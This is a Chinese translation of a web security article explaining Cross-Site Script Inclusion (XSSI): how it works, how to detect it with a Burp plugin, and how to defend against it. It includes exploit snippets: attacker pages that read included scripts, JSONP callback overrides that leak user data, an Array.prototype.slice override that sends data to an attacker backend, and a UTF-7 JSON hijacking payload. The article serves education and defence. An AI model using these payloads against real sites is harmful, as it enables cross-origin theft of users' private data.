XSSI: 一个不出名但是影响广泛的Web漏洞

安全 漏洞
在这篇文章中将演示如果找到XSSI,利用XSSI和如何防护XSSI漏洞。

[[181973]]

前言

找到一个特定类别漏洞两个关键组成部分:对漏洞的认识和找到漏洞的难易。 跨站脚本包含(XSSI)漏洞在事实上的公共标准即:OWASP TOP 10中并未被提及。 另外并没有公开的利用的工具来促进找到XSSI。它的影响范围从泄露个人存储信息,基于TOKEN的协议的规避到完成帐户的妥协(猜测意思是应该绕过登录)。 XSSI漏洞相当广泛, 由于检测手段的缺失增大了每一个XSSI漏洞的风险。 在这篇文章中我将演示如果找到XSSI,利用XSSI和如何防护XSSI漏洞。

背景知识

这一部分是来讲清楚源和同源策略(SOP)的。如果了解这一部分的可以跳过。

源的概念和基于源的Web内容隔离安全机制(即同源策略)由Netscape在引入JAVASCRIPT的时候一同引入。SOP定义了文档是如何相互影响的。当两个文档属于同一个源时,它们可以相互访问。这实际上是WEB安全的基础。源被大多数浏览器定义为端口,域名和协议。 而微软的IE浏览器是一个例外,它不包括端口。它有自己的安全意义。下边的表是由(Mozilla Developer Network)用URL:http://store.company.com/dir/page.html描述了用于SOP的最通用的规则。

由(Mozilla Developer Network)用URL:http://store.company.com/dir/page.html描述了用于SOP的最通用的规则。

由于多家浏览器厂商在文档间的相互作用没有一个共同的标准,所以内容隔离是一件非常必要的事情。对于更多信息:安全研究员Michal Zalewski在他的书Tangled Web中有一章的内容都是在写这个问题。

XSSI

Cross-Site Scrite Inclusion(XSSI),一个有些无形但是描述性的名字,指定了一类漏洞:当资源用script标签来包含时,SOP就失效了,因为脚本必须能够包含跨域。因此一个攻击者可以读取用script标签包含的所有内容。

当谈到动态的JavaScript和jsonp,所谓的权限信息(如cookie)用于身份验证时会显得特别有趣。Cookies 与 CSRF一样,从不同的主机来请求时会被包含。这个漏洞在上述的Michal Zalewski的书中的脚注与Sebastian Lekies等人的paper的脚注中被提到。

根据script中数据的内容不同,XSSI可以有不同的利用方式。在广泛传播的敏感数据是个人信息如e-mail, 邮件地址, 生日等。 但是也可以发现tokes, session id,与其它的ID如UID。 最简单的利用方式是检查一个用户是否已经登录(登录 oracle)。获得的信息可以在社会工程或者其它的特定方式的攻击中被滥用。

与XSS与CSRF的界限

XSSI在命名上与XSS相近,在描述上与CSRF相近。它仨之间的共同点即同为客户端攻击。

与XSS的不同是很容易理解的:在一个XSS的中,恶意代码被放置在受害者的页面,而XSSI中受害者的代码被包含在一个恶意页面中。 而表面上看XSSI与CSRF是很相似的,因为它们都是一个由恶意页面的请求至另一个域,而且这两种情况下,请求都是在用户已经登录的情况下执行的。 而最关键的不同点在于目的。在CSRF中,攻击都想要受害者的页面中执行一个状态改变的动作,比如在一个在线银行应用中进行转帐。在XSSI中攻击者想要跨域泄露数据,以便然后再执行上述的攻击。

搜索,找到和利用

当搜索XSSI时,需要区分四种情况。但是幸运的是利用方式是相似甚至是相同的(就像反射与存储的XSS)。我们可以将四种情况区分如下:

1. 静态的JavaScript(正常XSSI)

2. 静态的JavaScript,但是仅在认证后可访问

3. 动态JavaScript

4. 非JavaScript

正常的XSSI

当一个可公开访问的静态脚本包含敏感信息时,都可以认为是一个常规的XSSI。在这种情况下,几乎只有通过读文件来检测这种问题。也可以用启发式,并用正则表达式来找到私钥,社保或者信息卡帐号。但是一旦情况被确定,利用通常是微不足道的。让我们假设敏感内容设定在一个全局变量中,如下面的现实例子(替换的私钥):

  1. var privateKey = "-----BEGIN RSA PRIVATE KEY-----\ 
  2. MIIEpQIBAAKCAQEAxaEY8URy0jFmIKn0s/WK6QS/DusEGRhP4Mc2OwblFQkKXHOs\ 
  3. XYfbVmUCySpWCTsPPiKwG2a7+3e5mq9AsjCGvHyyzNmdEMdXAcdrf45xPS/1yYFG\ 
  4. 0v8xv6QIJnztMl18xWymaA5j2YGQieA/UNUJHJuvuvIMkZYkkeZlExszF2fRSMJH\ 
  5. FUjnFNiYt0R8agdndexvuxFApYG40Hy6BJWgKW3NxowV9XbHOaDvX+3Bal5tbtrM\ 
  6. IzqTptgldzMGs73bJ+7nUqyv7Dicbn1XD4j9XBYy+FOBhVagSztqMFpOFcfAK7Er\ 
  7. sorY0yWN6aBobtENBUPkeqGiHxBAQ42ki9QkUwIDAQABAoIBAQCThrBx2iDEW2/b\ 
  8. TkOG2vK5A3wEDNfgS8/FAbCv23PCgh8j6I1wvGu1UG4F8P6MoXO9dHN14PjOvQ7m\ 
  9. M5Dd82+A4K0wUfn3fnaqs0zByXkqrdSSeVh/RVTDtBUJdhQylqr/TR3ja2qKATf+\ 
  10. VFGva3gDzQwfR3SucSAXcZ9d5d37x4nzFRa8ogNxxkCUy1PYHqnIpB/4MsOL8f0S\ 
  11. F5LR+u/F67GKFzGZXyh1i/tgIHZCOvftmj2DLx/1EoZyiLSnMABt7XmztIqYXTJG\ 
  12. TnXi8ix4vkwUENfveZb9yKrdmrPGITi+f5FYDlyjeSXZYZqAGhSjI69juNn36gCa\ 
  13. 6Idt7I3xAoGBAOenoayBlmGEsWDGL8/XuAUlsceGRSoQ/MrGqx7LSgvkROYDyAfE\ 
  14. Db8vfy6f/qf9OI1EHwzu8QYnwKh8D0zldz9xl9Fwx4k1EIcD2BjTiJMBBk0FeybO\ 
  15. sqe4UwGzJvsTmfhlhJ4zZYLi1wMmkt1q1sMm9gb55nfTUDH8lzWJE/mFAoGBANpm\ 
  16. DcmcaUsSXkbBbmHZiV07EW4BUBpleog6avcNOcdGcylvDs17IwG28toAtOiJqQ/F\ 
  17. qnOqkQ73QXU7HCcmvQoX/tyxJRg/SMO2xMkYeHA+OamMrLvKgbxGLPG5O9Cs8QMl\ 
  18. q944WOrNhSfBE+ghPz4mpBbAxOOw0SoUYwCd52H3AoGAQnTLo8J1UrqPbFTOyJB5\ 
  19. ITjkHHo/g0bmToHZ+3aUYn706Quyqc+rpepJUSXjF2xEefpN8hbmHD7xPSSB+yxl\ 
  20. HlVHGXWCOLF5cVI//zdIGewUU6o73zEy/Xyai4VKrIK+DA2LkxrphzfuOOArB8wr\ 
  21. mkamE/BDFqMPgZeWBWyyx0UCgYEAg9kqp7V6x6yeJ98tEXuv9w3q9ttqDZWIBOgn\ 
  22. nWBpqkl4yuHWMO0O9EELmdrlXKGG5BO0VMH7cuqIpQp7c5NqesaDwZ5cQ6go+KbF\ 
  23. ZJYWV8TpMNfRjEm0SwKerYvjdZaCpiC/AphH7fEHWzmwF+rCcHYJiAb2lnMvw1St\ 
  24. dDjf8H8CgYEA4US7hhi1B2RDSwmNGTTBlGpHqPN73gqx2uOb2VYQTSUA7//b3fkK\ 
  25. pHEXGUaEHxxtEstSOUgT5n1kvo+90x3AbqPg6vAN4TSvX7uYIWENicbutKgjEFJi\ 
  26. TpCpdZksy+sgh/W/h9T7pDH272szBDo6g1TIQMCgPiAt/2yFNWU6Hks=\ 
  27. -----END RSA PRIVATE KEY-----", 
  28.     keys = [ 
  29.       { name: 'Key No 1', apiKey: '0c8aab23-2ab5-46c5-a0f2-e52ecf7d6ea8', privateKey: privateKey }, 
  30.       { name: 'Key No 2', apiKey: '1e4b8312-f767-43eb-a16b-d44d3e471198', privateKey: privateKey } 
  31.     ]; 

简单的将它包含在你的页面然后读变量:

  1. <html> 
  2.   <head> 
  3.     <title>Regular XSSI</title> 
  4.     <script src="https://www.vulnerable-domain.tld/script.js"></script> 
  5.   </head> 
  6.   <body> 
  7.     <script> 
  8.       alert(JSON.stringify(keys[0])); 
  9.     </script> 
  10.   </body> 
  11. </html> 

正常的XSSI

基于xssi的动态JavaScript 与认证的JavaScript的xssi

这两类有不同的技术背景,虽然这对测试者来说并无关系。幸运的是其发现与利用是相似的。我写了一个名叫DetectDynamicJSburp插件, 这个插件主要是在审计期间为渗透测试人员进行 web应用检测。

所有的脚本文件是被动扫描的。之后这个文件会被重新请求,只不过这次没有cookie。如果接收的文件与原来的文件两个文件不同,那么将会在target标签中标记等级为Information 。它能找到动态JavaScript与那些当用户认证后才能访问的到的JavaScript。之所以标记为Information ,是因为动态JavaScript并不一定有安全风险。它可以用来处理用户数据,服务引导,在复杂应用中设置变量和与其他的服务(如追踪)来共享数据。

基于xssi的动态JavaScript 与认证的JavaScript的xssi

想知道一个文件是否是脚本,那么就需要过滤器了。这个过滤器在经历不断变化且正在不断发展着。目前这个插件检查文件扩展名为.js,.jsp,与.json。 .json并不是一个正确的脚本扩展名,甚至不是jsonp, 但是这并不妨碍开发者对它的滥用。

为了减少误报,原始文件的第一个字符判断不为{,因为这目前并不是一个有效的脚本语法。同时对content-type检查是否包含 javascript, jscript,

ecmascript和json。过滤器也可以识别burpsuite的mimetype识别方法。如果在stateMimeType或者inferredMimeType中包含script,那么它就会被扫描。旁注:该扩展是在burp的1.6.39版本前开发的,其中对检测机制进行改进。尽管如此,也偶尔无法检测到javascript文件。一些过滤器肯定是多余的,但是经验表明如果试图减少一些过滤器会导致漏报。为了进一步减少误报,则检查原始文件的HTTP响应代码不是来自30-X。另一个减少误报的方法:如果第二版的文件(未经认证得到的文件)是一个脚本(非html)且和原始文件不同,那就发送第二次的未认证的请求,来获得第三版的文件。如果两个未经认证的文件以不同的响应结束,那么我们可以总结说这是一个通用的动态脚本且不依赖认证。这种情况经常在时间戳和广告中出现。

ecmascript和json

利用

xssi可以在用户已经认证的上下文中来窃取私钥等。滥用的情况受到开发者想像的限制。但是有些情况反复出现,所以我想说明的是这些情况。

变量如果置于全局命名空间,那么它们很容易被读取。

函数的重写即使对于一个javascript新手来说也不应该成为一个问题。下面的示例来自于一个真实的案例。网站使用jsonp来回调配置页面的用户数据。

  1. angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}}) 

为了得到信息, function _7 必须被重写.

  1. <script> 
  2.       var angular = function () { return 1; }; 
  3.       angular.callbacks = function () { return 1; };       
  4.       angular.callbacks._7 = function (leaked) { 
  5.   alert(JSON.stringify(leaked)); 
  6.       };   
  7. </script> 
  8. <script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script> 

 function _7 必须被重写.

也可以适用于全局函数。 在这个例子中,甚至不需要重写函数,只需要提供一个自己的callback函数。

  1. <script> 
  2.       leak = function (leaked) { 
  3.   alert(JSON.stringify(leaked)); 
  4.       };   
  5. </script> 
  6. <script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script> 

 

如果一个变量并没有在全局命名空间,那么有时候也可以能过prototype tampering来利用。prototype tampering滥用在javascript的设计中,也就是当解释代码时,javascript会遍历prototype 链来找到调用的属性。 下面的例子是在论文The Unexpected Dangers of Dynamic JavaScript 中提取的。演示如何覆盖类型Array的相关函数并访问它,非全局变量也可以泄漏。

  1. (function(){ 
  2.   var arr = ["secret1", "secret2", "secret3"]; 
  3.   // intents to slice out first entry 
  4.   var x = arr.slice(1); 
  5.   ... 
  6. })(); 

在原始代码中,在原始的代码中我们可以通过slice访问数组中我们感兴趣的数据, 当然攻击者可以,如上所说的,重写slice函数以窃取信息。

  1. Array.prototype.slice = function(){ 
  2.   // leaks ["secret1", "secret2", "secret3"] 
  3.   sendToAttackerBackend(this); 
  4. }; 

安全调查员Sebastian Lekies刚刚更新了他的列表。

非脚本的xssi

Takeshi Terada 在他的论文Identifier based XSSI attacks中描述了另一种类型的xssi,通过在脚本标签中包含CSV文件作为源,使用数据作为变量和函数名称,能够跨源地泄露非脚本文件。

第一起公开描述xssi的文档是在2006年。 Jeremiah Grossman的博客 Advanced Web Attack Techniques using GMail 描述了一个xssi,可能重写array的构造函数可以读取到所有google帐号的地址。

在2007年, Joe Walker出版了JSON is not as safe as people think it is 。 他使用了同样的手段来窃取一个array内的json信息。

也有一些其他相关的攻击是由将utf-7编码的内容注入到json中以逃避json格式来进行的。是由Gareth Heyes, Hackvertor的作者, 在他的博客JSON Hijacking 在2011年提出的。在快速测试中,这仍然可能出现了ie和edge中,但是firefox或者chrome并无此问题。

JSON with UTF-7:

  1. [{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}] 

在攻击者的页面包含json:

  1. <script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script> 

XSSI的防护

开发者永远也不要把敏感数据放在javascript文件中, 也不要放在jsonp中。这就已经可以阻止1-3这三大类型的大部分攻击。类型4的漏洞问题通常通过浏览器一方来修复。无论如何,将用户信息保存到json文件然后读取的行为应该被禁止。

Takeshi Terada论文中描述的最大的bug被修复了。然而总是可能再一次发现相似的bug。至少这可以通过告诉浏览器不要再猜测content-type来阻止一部分。一些浏览器可以接受尚未标准化的http响应头X-Content-Type-Option:nosniff来做这些。一个正确的Content-Type对于减少xssi的可能性也有帮助。

责任编辑:赵宁宁 来源: 安全客
相关推荐

2016-06-03 17:23:11

茄子快传app印度

2018-11-02 10:09:40

漏洞蓝牙芯片

2013-09-03 16:02:50

云计算

2015-02-12 16:34:55

2023-03-20 20:44:45

2012-08-17 10:07:58

IBMdW

2021-12-21 06:23:43

TIWAP安全工具渗透测试

2020-09-29 10:20:02

Java编程语言

2023-11-08 12:21:55

2012-04-26 09:28:39

2016-03-03 14:29:15

2021-12-21 10:03:24

Log4j漏洞网络攻击漏洞

2016-12-26 16:46:12

2022-07-22 15:40:26

Atlassian服务器漏洞

2016-10-19 09:00:57

漏洞邮箱秘密

2017-12-12 15:24:32

Web Server单线程实现

2015-02-10 14:32:37

XSS漏洞XSS

2021-03-08 10:49:11

漏洞攻击网络安全

2014-04-14 15:54:00

print()Web服务器

2017-06-08 15:53:38

PythonWeb框架
点赞
收藏

51CTO技术栈公众号